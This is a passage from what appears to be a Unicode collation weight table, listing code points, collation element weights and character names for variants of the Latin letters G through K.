[.1CF4.0020.001D] # SQUARED LATIN CAPITAL LETTER G -1F176 ; [.1CF4.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER G -01F5 ; [.1CF4.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER G WITH ACUTE -01F4 ; [.1CF4.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER G WITH ACUTE -011F ; [.1CF4.0020.0002][.0000.0026.0002] # LATIN SMALL LETTER G WITH BREVE -011E ; [.1CF4.0020.0008][.0000.0026.0002] # LATIN CAPITAL LETTER G WITH BREVE -011D ; [.1CF4.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER G WITH CIRCUMFLEX -011C ; [.1CF4.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER G WITH CIRCUMFLEX -01E7 ; [.1CF4.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER G WITH CARON -01E6 ; [.1CF4.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER G WITH CARON -0121 ; [.1CF4.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER G WITH DOT ABOVE -0120 ; [.1CF4.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER G WITH DOT ABOVE -0123 ; [.1CF4.0020.0002][.0000.0030.0002] # LATIN SMALL LETTER G WITH CEDILLA -0122 ; [.1CF4.0020.0008][.0000.0030.0002] # LATIN CAPITAL LETTER G WITH CEDILLA -1E21 ; [.1CF4.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER G WITH MACRON -1E20 ; [.1CF4.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER G WITH MACRON -A7A1 ; [.1CF4.0020.0004][.0000.0035.0004] # LATIN SMALL LETTER G WITH OBLIQUE STROKE -A7A0 ; [.1CF4.0020.000A][.0000.0035.0004] # LATIN CAPITAL LETTER G WITH OBLIQUE STROKE -1D79 ; [.1CF4.0020.0004][.0000.0111.0004] # LATIN SMALL LETTER INSULAR G -A77D ; [.1CF4.0020.000A][.0000.0111.0004] # LATIN CAPITAL LETTER INSULAR G -33FF ; [.1CF4.0020.001C][.1C47.0020.001C][.1D77.0020.001C] # SQUARE GAL -3387 ; [.1CF4.0020.001D][.1C60.0020.001D] # SQUARE GB -3393 ; [.1CF4.0020.001D][.1D18.0020.001D][.1F21.0020.001C] # SQUARE GHZ -33AC ; [.1CF4.0020.001D][.1E0C.0020.001D][.1C47.0020.001C] # SQUARE GPA -33C9 ; [.1CF4.0020.001D][.1F0B.0020.001C] # SQUARE GY -0261 ; [.1CF8.0020.0002] # LATIN SMALL LETTER SCRIPT G -A7AC ; [.1CF8.0020.0008] # LATIN CAPITAL LETTER SCRIPT G -1DA2 ; [.1CF8.0020.0014] # MODIFIER LETTER SMALL SCRIPT G -AB36 ; [.1CFC.0020.0002] # LATIN SMALL LETTER SCRIPT G WITH CROSSED-TAIL -0262 ; [.1CFD.0020.0002] # LATIN LETTER SMALL CAPITAL G -1DDB ; [.1CFD.0020.0004] # COMBINING LATIN LETTER SMALL CAPITAL G -01E5 ; [.1D01.0020.0002] # LATIN SMALL LETTER G WITH STROKE -01E4 ; [.1D01.0020.0008] # LATIN CAPITAL LETTER G WITH STROKE -1D83 ; [.1D05.0020.0002] # LATIN SMALL LETTER G WITH PALATAL HOOK -0260 ; [.1D06.0020.0002] # LATIN SMALL LETTER G WITH HOOK -0193 ; [.1D06.0020.0008] # LATIN CAPITAL LETTER G WITH HOOK -029B ; [.1D0A.0020.0002] # LATIN LETTER SMALL CAPITAL G WITH HOOK -1D77 ; [.1D0E.0020.0002] # LATIN SMALL LETTER TURNED G -A77F ; [.1D0F.0020.0002] # LATIN SMALL LETTER TURNED INSULAR G -A77E ; [.1D0F.0020.0008] # LATIN CAPITAL LETTER TURNED INSULAR G -0263 ; [.1D10.0020.0002] # LATIN SMALL LETTER GAMMA -0194 ; [.1D10.0020.0008] # LATIN CAPITAL LETTER GAMMA -02E0 ; [.1D10.0020.0014] # MODIFIER LETTER SMALL GAMMA -01A3 ; [.1D14.0020.0002] # LATIN SMALL LETTER OI -01A2 ; [.1D14.0020.0008] # LATIN CAPITAL LETTER OI -0068 ; [.1D18.0020.0002] # LATIN SMALL LETTER H -FF48 ; [.1D18.0020.0003] # FULLWIDTH LATIN SMALL LETTER H -036A ; [.1D18.0020.0004] # COMBINING LATIN SMALL LETTER H -24A3 ; [*0317.0020.0004][.1D18.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER H -210E ; [.1D18.0020.0005] # PLANCK CONSTANT -1D421 ; [.1D18.0020.0005] # MATHEMATICAL BOLD SMALL H -1D489 ; [.1D18.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL H -1D4BD ; [.1D18.0020.0005] # MATHEMATICAL SCRIPT SMALL H -1D4F1 ; [.1D18.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL H -1D525 ; [.1D18.0020.0005] # MATHEMATICAL FRAKTUR SMALL H -1D559 ; [.1D18.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL H -1D58D ; [.1D18.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL H -1D5C1 ; [.1D18.0020.0005] # MATHEMATICAL SANS-SERIF SMALL H -1D5F5 ; [.1D18.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL H -1D629 ; [.1D18.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL H -1D65D ; [.1D18.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL H -1D691 ; [.1D18.0020.0005] # MATHEMATICAL MONOSPACE SMALL H -24D7 ; [.1D18.0020.0006] # CIRCLED LATIN SMALL LETTER H -0048 ; [.1D18.0020.0008] # LATIN CAPITAL LETTER H -FF28 ; [.1D18.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER H -1F117 ; [*0317.0020.0004][.1D18.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER H -210B ; [.1D18.0020.000B] # SCRIPT CAPITAL H -210C ; [.1D18.0020.000B] # BLACK-LETTER CAPITAL H -210D ; [.1D18.0020.000B] # DOUBLE-STRUCK CAPITAL H -1D407 ; [.1D18.0020.000B] # MATHEMATICAL BOLD CAPITAL H -1D43B ; [.1D18.0020.000B] # MATHEMATICAL ITALIC CAPITAL H -1D46F ; [.1D18.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL H -1D4D7 ; [.1D18.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL H -1D573 ; [.1D18.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL H -1D5A7 ; [.1D18.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL H -1D5DB ; [.1D18.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL H -1D60F ; [.1D18.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL H -1D643 ; [.1D18.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL H -1D677 ; [.1D18.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL H -24BD ; [.1D18.0020.000C] # CIRCLED LATIN CAPITAL LETTER H -1F157 ; [.1D18.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER H -02B0 ; [.1D18.0020.0014] # MODIFIER LETTER SMALL H -2095 ; [.1D18.0020.0015] # LATIN SUBSCRIPT SMALL LETTER H -1D34 ; [.1D18.0020.001D] # MODIFIER LETTER CAPITAL H -1F137 ; [.1D18.0020.001D] # SQUARED LATIN CAPITAL LETTER H -1F177 ; [.1D18.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER H -0125 ; [.1D18.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER H WITH CIRCUMFLEX -0124 ; [.1D18.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER H WITH CIRCUMFLEX -021F ; [.1D18.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER H WITH CARON -021E ; [.1D18.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER H WITH CARON -1E27 ; [.1D18.0020.0002][.0000.002B.0002] # LATIN SMALL LETTER H WITH DIAERESIS -1E26 ; [.1D18.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER H WITH DIAERESIS -1E23 ; [.1D18.0020.0002][.0000.002E.0002] # LATIN SMALL LETTER H WITH DOT ABOVE -1E22 ; [.1D18.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER H WITH DOT ABOVE -1E29 ; [.1D18.0020.0002][.0000.0030.0002] # LATIN SMALL LETTER H WITH CEDILLA -1E28 ; [.1D18.0020.0008][.0000.0030.0002] # LATIN CAPITAL LETTER H WITH CEDILLA -0127 ; [.1D18.0020.0002][.0000.0039.0002] # LATIN SMALL LETTER H WITH STROKE -210F ; [.1D18.0020.0002][.0000.0039.0002] # PLANCK CONSTANT OVER TWO PI -0126 ; [.1D18.0020.0008][.0000.0039.0002] # LATIN CAPITAL LETTER H WITH STROKE -A7F8 ; [.1D18.0020.0014][.0000.0039.0014] # MODIFIER LETTER CAPITAL H WITH STROKE -1E25 ; [.1D18.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER H WITH DOT BELOW -1E24 ; [.1D18.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER H WITH DOT BELOW -1E2B ; [.1D18.0020.0002][.0000.0047.0002] # LATIN SMALL LETTER H WITH BREVE BELOW -1E2A ; [.1D18.0020.0008][.0000.0047.0002] # LATIN CAPITAL LETTER H WITH BREVE BELOW -1E96 ; [.1D18.0020.0002][.0000.0049.0002] # LATIN SMALL LETTER H WITH LINE BELOW -33CA ; [.1D18.0020.001C][.1C47.0020.001C] # SQUARE HA -1F1A6 ; [.1D18.0020.001D][.1C7A.0020.001C] # SQUARED HC -1F1A7 ; [.1D18.0020.001D][.1C8F.0020.001C][.1E33.0020.001D] # SQUARED HDR -32CC ; [.1D18.0020.001D][.1CF4.0020.001C] # SQUARE HG -1F1A8 ; [.1D18.0020.001D][.1D32.0020.001C][*0209.0020.001C][.1E33.0020.001D][.1CAA.0020.001C][.1E71.0020.001C] # SQUARED HI-RES -33CB ; [.1D18.0020.001D][.1E0C.0020.001D] # SQUARE HP -3371 ; [.1D18.0020.001C][.1E0C.0020.001D][.1C47.0020.001C] # SQUARE HPA -1F14A ; [.1D18.0020.001D][.1EE3.0020.001D] # SQUARED HV -3390 ; [.1D18.0020.001D][.1F21.0020.001C] # SQUARE HZ -029C ; [.1D1C.0020.0002] # LATIN LETTER SMALL CAPITAL H -0195 ; [.1D20.0020.0002] # LATIN SMALL LETTER HV -01F6 ; [.1D20.0020.0008] # LATIN CAPITAL LETTER HWAIR -A795 ; [.1D24.0020.0002] # LATIN SMALL LETTER H WITH PALATAL HOOK -0266 ; [.1D25.0020.0002] # LATIN SMALL LETTER H WITH HOOK -A7AA ; [.1D25.0020.0008] # LATIN CAPITAL LETTER H WITH HOOK -02B1 ; [.1D25.0020.0014] # MODIFIER LETTER SMALL H WITH HOOK -2C68 ; [.1D29.0020.0002] # LATIN SMALL LETTER H WITH DESCENDER -2C67 ; [.1D29.0020.0008] # LATIN CAPITAL LETTER H WITH DESCENDER -2C76 ; [.1D2A.0020.0002] # LATIN SMALL LETTER HALF H -2C75 ; [.1D2A.0020.0008] # LATIN CAPITAL LETTER HALF H -A727 ; [.1D2B.0020.0002] # LATIN SMALL LETTER HENG -A726 ; [.1D2B.0020.0008] # LATIN CAPITAL LETTER HENG -AB5C ; [.1D2B.0020.0014] # MODIFIER LETTER SMALL HENG -0267 ; [.1D2C.0020.0002] # LATIN SMALL LETTER HENG WITH HOOK -02BB ; [.1D30.0020.0002] # MODIFIER LETTER TURNED COMMA -02BD ; [.1D31.0020.0002] # MODIFIER LETTER REVERSED COMMA -0069 ; [.1D32.0020.0002] # LATIN SMALL LETTER I -FF49 ; [.1D32.0020.0003] # FULLWIDTH LATIN SMALL LETTER I -0365 ; [.1D32.0020.0004] # COMBINING LATIN SMALL LETTER I -2170 ; [.1D32.0020.0004] # SMALL ROMAN NUMERAL ONE -24A4 ; [*0317.0020.0004][.1D32.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER I -2139 ; [.1D32.0020.0005] # INFORMATION SOURCE -2148 ; [.1D32.0020.0005] # DOUBLE-STRUCK ITALIC SMALL I -1D422 ; [.1D32.0020.0005] # MATHEMATICAL BOLD SMALL I -1D456 ; [.1D32.0020.0005] # MATHEMATICAL ITALIC SMALL I -1D48A ; [.1D32.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL I -1D4BE ; [.1D32.0020.0005] # MATHEMATICAL SCRIPT SMALL I -1D4F2 ; [.1D32.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL I -1D526 ; [.1D32.0020.0005] # MATHEMATICAL FRAKTUR SMALL I -1D55A ; [.1D32.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL I -1D58E ; [.1D32.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL I -1D5C2 ; [.1D32.0020.0005] # MATHEMATICAL SANS-SERIF SMALL I -1D5F6 ; [.1D32.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL I -1D62A ; [.1D32.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL I -1D65E ; [.1D32.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL I -1D692 ; [.1D32.0020.0005] # MATHEMATICAL MONOSPACE SMALL I -24D8 ; [.1D32.0020.0006] # CIRCLED LATIN SMALL LETTER I -0049 ; [.1D32.0020.0008] # LATIN CAPITAL LETTER I -FF29 ; [.1D32.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER I -2160 ; [.1D32.0020.000A] # ROMAN NUMERAL ONE -1F118 ; [*0317.0020.0004][.1D32.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER I -2110 ; [.1D32.0020.000B] # SCRIPT CAPITAL I -2111 ; [.1D32.0020.000B] # BLACK-LETTER CAPITAL I -1D408 ; [.1D32.0020.000B] # MATHEMATICAL BOLD CAPITAL I -1D43C ; [.1D32.0020.000B] # MATHEMATICAL ITALIC CAPITAL I -1D470 ; [.1D32.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL I -1D4D8 ; [.1D32.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL I -1D540 ; [.1D32.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL I -1D574 ; [.1D32.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL I -1D5A8 ; [.1D32.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL I -1D5DC ; [.1D32.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL I -1D610 ; [.1D32.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL I -1D644 ; [.1D32.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL I -1D678 ; [.1D32.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL I -24BE ; [.1D32.0020.000C] # CIRCLED LATIN CAPITAL LETTER I -1F158 ; [.1D32.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER I -2071 ; [.1D32.0020.0014] # SUPERSCRIPT LATIN SMALL LETTER I -1D62 ; [.1D32.0020.0015] # LATIN SUBSCRIPT SMALL LETTER I -1D35 ; [.1D32.0020.001D] # MODIFIER LETTER CAPITAL I -1F138 ; [.1D32.0020.001D] # SQUARED LATIN CAPITAL LETTER I -1F178 ; [.1D32.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER I -00ED ; [.1D32.0020.0002][.0000.0024.0002] # LATIN SMALL LETTER I WITH ACUTE -00CD ; [.1D32.0020.0008][.0000.0024.0002] # LATIN CAPITAL LETTER I WITH ACUTE -00EC ; [.1D32.0020.0002][.0000.0025.0002] # LATIN SMALL LETTER I WITH GRAVE -00CC ; [.1D32.0020.0008][.0000.0025.0002] # LATIN CAPITAL LETTER I WITH GRAVE -012D ; [.1D32.0020.0002][.0000.0026.0002] # LATIN SMALL LETTER I WITH BREVE -012C ; [.1D32.0020.0008][.0000.0026.0002] # LATIN CAPITAL LETTER I WITH BREVE -00EE ; [.1D32.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER I WITH CIRCUMFLEX -00CE ; [.1D32.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER I WITH CIRCUMFLEX -01D0 ; [.1D32.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER I WITH CARON -01CF ; [.1D32.0020.0008][.0000.0028.0002] # LATIN CAPITAL LETTER I WITH CARON -00EF ; [.1D32.0020.0002][.0000.002B.0002] # LATIN SMALL LETTER I WITH DIAERESIS -00CF ; [.1D32.0020.0008][.0000.002B.0002] # LATIN CAPITAL LETTER I WITH DIAERESIS -1E2F ; [.1D32.0020.0002][.0000.002B.0002][.0000.0024.0002] # LATIN SMALL LETTER I WITH DIAERESIS AND ACUTE -1E2E ; [.1D32.0020.0008][.0000.002B.0002][.0000.0024.0002] # LATIN CAPITAL LETTER I WITH DIAERESIS AND ACUTE -0129 ; [.1D32.0020.0002][.0000.002D.0002] # LATIN SMALL LETTER I WITH TILDE -0128 ; [.1D32.0020.0008][.0000.002D.0002] # LATIN CAPITAL LETTER I WITH TILDE -0130 ; [.1D32.0020.0008][.0000.002E.0002] # LATIN CAPITAL LETTER I WITH DOT ABOVE -012F ; [.1D32.0020.0002][.0000.0031.0002] # LATIN SMALL LETTER I WITH OGONEK -012E ; [.1D32.0020.0008][.0000.0031.0002] # LATIN CAPITAL LETTER I WITH OGONEK -012B ; [.1D32.0020.0002][.0000.0032.0002] # LATIN SMALL LETTER I WITH MACRON -012A ; [.1D32.0020.0008][.0000.0032.0002] # LATIN CAPITAL LETTER I WITH MACRON -1EC9 ; [.1D32.0020.0002][.0000.003B.0002] # LATIN SMALL LETTER I WITH HOOK ABOVE -1EC8 ; [.1D32.0020.0008][.0000.003B.0002] # LATIN CAPITAL LETTER I WITH HOOK ABOVE -0209 ; [.1D32.0020.0002][.0000.003C.0002] # LATIN SMALL LETTER I WITH DOUBLE GRAVE -0208 ; [.1D32.0020.0008][.0000.003C.0002] # LATIN CAPITAL LETTER I WITH DOUBLE GRAVE -020B ; [.1D32.0020.0002][.0000.003E.0002] # LATIN SMALL LETTER I WITH INVERTED BREVE -020A ; [.1D32.0020.0008][.0000.003E.0002] # LATIN CAPITAL LETTER I WITH INVERTED BREVE -1ECB ; [.1D32.0020.0002][.0000.0042.0002] # LATIN SMALL LETTER I WITH DOT BELOW -1ECA ; [.1D32.0020.0008][.0000.0042.0002] # LATIN CAPITAL LETTER I WITH DOT BELOW -1E2D ; [.1D32.0020.0002][.0000.0048.0002] # LATIN SMALL LETTER I WITH TILDE BELOW -1E2C ; [.1D32.0020.0008][.0000.0048.0002] # LATIN CAPITAL LETTER I WITH TILDE BELOW -1F18B ; [.1D32.0020.001D][.1C7A.0020.001D] # NEGATIVE SQUARED IC -1F194 ; [.1D32.0020.001D][.1C8F.0020.001D] # SQUARED ID -2171 ; [.1D32.0020.0004][.1D32.0020.0004] # SMALL ROMAN NUMERAL TWO -2161 ; [.1D32.0020.000A][.1D32.0020.000A] # ROMAN NUMERAL TWO -2172 ; [.1D32.0020.0004][.1D32.0020.0004][.1D32.0020.0004] # SMALL ROMAN NUMERAL THREE -2162 ; [.1D32.0020.000A][.1D32.0020.000A][.1D32.0020.000A] # ROMAN NUMERAL THREE -0133 ; [.1D32.0020.0004][.1D4C.0020.0004] # LATIN SMALL LIGATURE IJ -0132 ; [.1D32.0020.000A][.1D4C.0020.000A] # LATIN CAPITAL LIGATURE IJ -33CC ; [.1D32.0020.001C][.1DB9.0020.001C] # SQUARE IN -337A ; [.1D32.0020.001D][.1EB5.0020.001D] # SQUARE IU -2173 ; [.1D32.0020.0004][.1EE3.0020.0004] # SMALL ROMAN NUMERAL FOUR -2163 ; [.1D32.0020.000A][.1EE3.0020.000A] # ROMAN NUMERAL FOUR -2178 ; [.1D32.0020.0004][.1EFF.0020.0004] # SMALL ROMAN NUMERAL NINE -2168 ; [.1D32.0020.000A][.1EFF.0020.000A] # ROMAN NUMERAL NINE -0131 ; [.1D36.0020.0002] # LATIN SMALL LETTER DOTLESS I -1D6A4 ; [.1D36.0020.0005] # MATHEMATICAL ITALIC SMALL DOTLESS I -026A ; [.1D3A.0020.0002] # LATIN LETTER SMALL CAPITAL I -A7AE ; [.1D3A.0020.0008] # LATIN CAPITAL LETTER SMALL CAPITAL I -1DA6 ; [.1D3A.0020.0014] # MODIFIER LETTER SMALL CAPITAL I -A7FE ; [.1D3E.0020.0002] # LATIN EPIGRAPHIC LETTER I LONGA -A7F7 ; [.1D3F.0020.0002] # LATIN EPIGRAPHIC LETTER SIDEWAYS I -1D09 ; [.1D40.0020.0002] # LATIN SMALL LETTER TURNED I -1D4E ; [.1D40.0020.0014] # MODIFIER LETTER SMALL TURNED I -0268 ; [.1D41.0020.0002] # LATIN SMALL LETTER I WITH STROKE -0197 ; [.1D41.0020.0008] # LATIN CAPITAL LETTER I WITH STROKE -1DA4 ; [.1D41.0020.0014] # MODIFIER LETTER SMALL I WITH STROKE -1D7B ; [.1D45.0020.0002] # LATIN SMALL CAPITAL LETTER I WITH STROKE -1DA7 ; [.1D45.0020.0014] # MODIFIER LETTER SMALL CAPITAL I WITH STROKE -1D96 ; [.1D46.0020.0002] # LATIN SMALL LETTER I WITH RETROFLEX HOOK -0269 ; [.1D47.0020.0002] # LATIN SMALL LETTER IOTA -0196 ; [.1D47.0020.0008] # LATIN CAPITAL LETTER IOTA -1DA5 ; [.1D47.0020.0014] # MODIFIER LETTER SMALL IOTA -1D7C ; [.1D4B.0020.0002] # LATIN SMALL LETTER IOTA WITH STROKE -006A ; [.1D4C.0020.0002] # LATIN SMALL LETTER J -FF4A ; [.1D4C.0020.0003] # FULLWIDTH LATIN SMALL LETTER J -24A5 ; [*0317.0020.0004][.1D4C.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER J -2149 ; [.1D4C.0020.0005] # DOUBLE-STRUCK ITALIC SMALL J -1D423 ; [.1D4C.0020.0005] # MATHEMATICAL BOLD SMALL J -1D457 ; [.1D4C.0020.0005] # MATHEMATICAL ITALIC SMALL J -1D48B ; [.1D4C.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL J -1D4BF ; [.1D4C.0020.0005] # MATHEMATICAL SCRIPT SMALL J -1D4F3 ; [.1D4C.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL J -1D527 ; [.1D4C.0020.0005] # MATHEMATICAL FRAKTUR SMALL J -1D55B ; [.1D4C.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL J -1D58F ; [.1D4C.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL J -1D5C3 ; [.1D4C.0020.0005] # MATHEMATICAL SANS-SERIF SMALL J -1D5F7 ; [.1D4C.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL J -1D62B ; [.1D4C.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL J -1D65F ; [.1D4C.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL J -1D693 ; [.1D4C.0020.0005] # MATHEMATICAL MONOSPACE SMALL J -24D9 ; [.1D4C.0020.0006] # CIRCLED LATIN SMALL LETTER J -004A ; [.1D4C.0020.0008] # LATIN CAPITAL LETTER J -FF2A ; [.1D4C.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER J -1F119 ; [*0317.0020.0004][.1D4C.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER J -1D409 ; [.1D4C.0020.000B] # MATHEMATICAL BOLD CAPITAL J -1D43D ; [.1D4C.0020.000B] # MATHEMATICAL ITALIC CAPITAL J -1D471 ; [.1D4C.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL J -1D4A5 ; [.1D4C.0020.000B] # MATHEMATICAL SCRIPT CAPITAL J -1D4D9 ; [.1D4C.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL J -1D50D ; [.1D4C.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL J -1D541 ; [.1D4C.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL J -1D575 ; [.1D4C.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL J -1D5A9 ; [.1D4C.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL J -1D5DD ; [.1D4C.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL J -1D611 ; [.1D4C.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL J -1D645 ; [.1D4C.0020.000B] # MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL J -1D679 ; [.1D4C.0020.000B] # MATHEMATICAL MONOSPACE CAPITAL J -24BF ; [.1D4C.0020.000C] # CIRCLED LATIN CAPITAL LETTER J -1F159 ; [.1D4C.0020.000C] # NEGATIVE CIRCLED LATIN CAPITAL LETTER J -02B2 ; [.1D4C.0020.0014] # MODIFIER LETTER SMALL J -2C7C ; [.1D4C.0020.0015] # LATIN SUBSCRIPT SMALL LETTER J -1D36 ; [.1D4C.0020.001D] # MODIFIER LETTER CAPITAL J -1F139 ; [.1D4C.0020.001D] # SQUARED LATIN CAPITAL LETTER J -1F179 ; [.1D4C.0020.001D] # NEGATIVE SQUARED LATIN CAPITAL LETTER J -0135 ; [.1D4C.0020.0002][.0000.0027.0002] # LATIN SMALL LETTER J WITH CIRCUMFLEX -0134 ; [.1D4C.0020.0008][.0000.0027.0002] # LATIN CAPITAL LETTER J WITH CIRCUMFLEX -01F0 ; [.1D4C.0020.0002][.0000.0028.0002] # LATIN SMALL LETTER J WITH CARON -0237 ; [.1D50.0020.0002] # LATIN SMALL LETTER DOTLESS J -1D6A5 ; [.1D50.0020.0005] # MATHEMATICAL ITALIC SMALL DOTLESS J -1D0A ; [.1D54.0020.0002] # LATIN LETTER SMALL CAPITAL J -0249 ; [.1D55.0020.0002] # LATIN SMALL LETTER J WITH STROKE -0248 ; [.1D55.0020.0008] # LATIN CAPITAL LETTER J WITH STROKE -029D ; [.1D59.0020.0002] # LATIN SMALL LETTER J WITH CROSSED-TAIL -A7B2 ; [.1D59.0020.0008] # LATIN CAPITAL LETTER J WITH CROSSED-TAIL -1DA8 ; [.1D59.0020.0014] # MODIFIER LETTER SMALL J WITH CROSSED-TAIL -025F ; [.1D5D.0020.0002] # LATIN SMALL LETTER DOTLESS J WITH STROKE -1DA1 ; [.1D5D.0020.0014] # MODIFIER LETTER SMALL DOTLESS J WITH STROKE -0284 ; [.1D61.0020.0002] # LATIN SMALL LETTER DOTLESS J WITH STROKE AND HOOK -006B ; [.1D65.0020.0002] # LATIN SMALL LETTER K -FF4B ; [.1D65.0020.0003] # FULLWIDTH LATIN SMALL LETTER K -1DDC ; [.1D65.0020.0004] # COMBINING LATIN SMALL LETTER K -24A6 ; [*0317.0020.0004][.1D65.0020.0004][*0318.0020.0004] # PARENTHESIZED LATIN SMALL LETTER K -1D424 ; [.1D65.0020.0005] # MATHEMATICAL BOLD SMALL K -1D458 ; [.1D65.0020.0005] # MATHEMATICAL ITALIC SMALL K -1D48C ; [.1D65.0020.0005] # MATHEMATICAL BOLD ITALIC SMALL K -1D4C0 ; [.1D65.0020.0005] # MATHEMATICAL SCRIPT SMALL K -1D4F4 ; [.1D65.0020.0005] # MATHEMATICAL BOLD SCRIPT SMALL K -1D528 ; [.1D65.0020.0005] # MATHEMATICAL FRAKTUR SMALL K -1D55C ; [.1D65.0020.0005] # MATHEMATICAL DOUBLE-STRUCK SMALL K -1D590 ; [.1D65.0020.0005] # MATHEMATICAL BOLD FRAKTUR SMALL K -1D5C4 ; [.1D65.0020.0005] # MATHEMATICAL SANS-SERIF SMALL K -1D5F8 ; [.1D65.0020.0005] # MATHEMATICAL SANS-SERIF BOLD SMALL K -1D62C ; [.1D65.0020.0005] # MATHEMATICAL SANS-SERIF ITALIC SMALL K -1D660 ; [.1D65.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL K -1D694 ; [.1D65.0020.0005] # MATHEMATICAL MONOSPACE SMALL K -24DA ; [.1D65.0020.0006] # CIRCLED LATIN SMALL LETTER K -004B ; [.1D65.0020.0008] # LATIN CAPITAL LETTER K -212A ; [.1D65.0020.0008] # KELVIN SIGN -FF2B ; [.1D65.0020.0009] # FULLWIDTH LATIN CAPITAL LETTER K -1F11A ; [*0317.0020.0004][.1D65.0020.000A][*0318.0020.0004] # PARENTHESIZED LATIN CAPITAL LETTER K -1D40A ; [.1D65.0020.000B] # MATHEMATICAL BOLD CAPITAL K -1D43E ; [.1D65.0020.000B] # MATHEMATICAL ITALIC CAPITAL K -1D472 ; [.1D65.0020.000B] # MATHEMATICAL BOLD ITALIC CAPITAL K -1D4A6 ; [.1D65.0020.000B] # MATHEMATICAL SCRIPT CAPITAL K -1D4DA ; [.1D65.0020.000B] # MATHEMATICAL BOLD SCRIPT CAPITAL K -1D50E ; [.1D65.0020.000B] # MATHEMATICAL FRAKTUR CAPITAL K -1D542 ; [.1D65.0020.000B] # MATHEMATICAL DOUBLE-STRUCK CAPITAL K -1D576 ; [.1D65.0020.000B] # MATHEMATICAL BOLD FRAKTUR CAPITAL K -1D5AA ; [.1D65.0020.000B] # MATHEMATICAL SANS-SERIF CAPITAL K -1D5DE ; [.1D65.0020.000B] # MATHEMATICAL SANS-SERIF BOLD CAPITAL K -1D612 ; [.1D65.0020.000B] # MATHEMATICAL SANS-SERIF ITALIC CAPITAL K -1D646 ; [.1D65.0020.000B] # MATHEMATICAL SANS-SERIF BOLD 